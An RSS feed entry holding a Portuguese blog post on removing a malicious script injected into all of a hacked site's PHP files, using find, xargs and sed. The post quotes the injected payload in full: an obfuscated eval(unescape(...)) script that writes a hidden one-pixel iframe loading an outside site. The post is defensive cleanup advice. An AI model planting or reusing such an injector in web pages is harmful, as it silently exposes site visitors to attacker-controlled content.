<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>em muitos arquivos Archives - Pereira, Thiago Santos.</title>
	<atom:link href="https://thiagosantos.com/blog/tag/em-muitos-arquivos/feed/" rel="self" type="application/rss+xml" />
	<link>https://thiagosantos.com/blog/tag/em-muitos-arquivos/</link>
	<description>the fun of code.</description>
	<lastBuildDate>Mon, 19 Dec 2011 18:49:13 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5</generator>
	<item>
		<title>Buscar e substituir em muitos arquivos find e sed</title>
		<link>https://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/</link>
					<comments>https://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Mon, 24 Jan 2011 16:38:17 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[buscar e substituir]]></category>
		<category><![CDATA[em muitos arquivos]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[find and replace]]></category>
		<category><![CDATA[over multiple files]]></category>
		<category><![CDATA[sed]]></category>
		<guid isPermaLink="false">http://www.thiagosantos.com/blog/?p=174</guid>

					<description><![CDATA[<p>Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1 Ou porquê você quer aprender a buscar e substituir no Linux! &#8211; Pule para o passo 2 &#160; Passo 1 &#8211; Mas [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/">Buscar e substituir em muitos arquivos find e sed</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div>Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! <strong><em>Pule para o <a href="http://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/#passo1">passo 1</a></em></strong></div>
<div><strong>Ou</strong> porquê você quer aprender a buscar e substituir no Linux! &#8211; <strong><em>Pule para o <a href="http://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/#passo2">passo 2</a></em></strong></div>
<p>&nbsp;</p>
<p><a name="passo1"></a><strong>Passo 1 &#8211;</strong></p>
<div id="_mcePaste">Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.</div>
<p>&nbsp;</p>
<p><a name="passo2"></a><strong>Passo 2 &#8211;</strong></p>
<h3 id="_mcePaste">O script que aparece no final de todos os arquivos é o abaixo:</h3>
<blockquote style="width: 350px; word-wrap: break-word;">
<div id="_mcePaste"><span style="color: #808080;"><em>&lt;script&gt;eval(unescape(&#8216;%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29&#8217;));&lt;/script&gt;&lt;!&#8211; uy7gdr5332rkmn &#8211;&gt;</em></span></div>
</blockquote>
<div>Usando o <strong>find </strong>com o <strong>sed</strong>, removemos o script de todos os arquivos:</div>
<div>
<ul>
<li><strong>find </strong>para achar todos os arquivos PHP:<br />
<em>find . -iname &#8220;*.php&#8221;</em></li>
</ul>
</div>
<div><strong><br />
</strong></div>
<div id="_mcePaste">
<ul>
<li>o <strong>sed </strong>para substituir a parte do texto que bate com a expressão regular:<br />
<em>sed -i &#8216;s/&lt;script.*uy7gdr5332rkmn &#8211;&gt;/ /g&#8217;</em></li>
</ul>
</div>
<div><strong><em><span style="color: #808080;"><br />
</span></em></strong></div>
<div id="_mcePaste">Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!</div>
<div id="_mcePaste"><em><span style="color: #808080;"><strong><span style="color: #000000;">find . -iname &#8216;*.php&#8217; | xargs sed -i &#8216;s/&lt;script.*uy7gdr5332rkmn &#8211;&gt;/ /g&#8217;</span></strong></span></em></div>
<div><em><span style="color: #808080;"><strong><span style="color: #000000;"><br />
</span></strong></span></em></div>
<div><span style="color: #000000;">Por hoje é só!</span></div>
<div><span style="color: #000000;">Abraços</span></div>
<p>The post <a href="https://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/">Buscar e substituir em muitos arquivos find e sed</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/174/linux/buscar-e-substituir-em-muitos-arquivo-find-e-sed/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
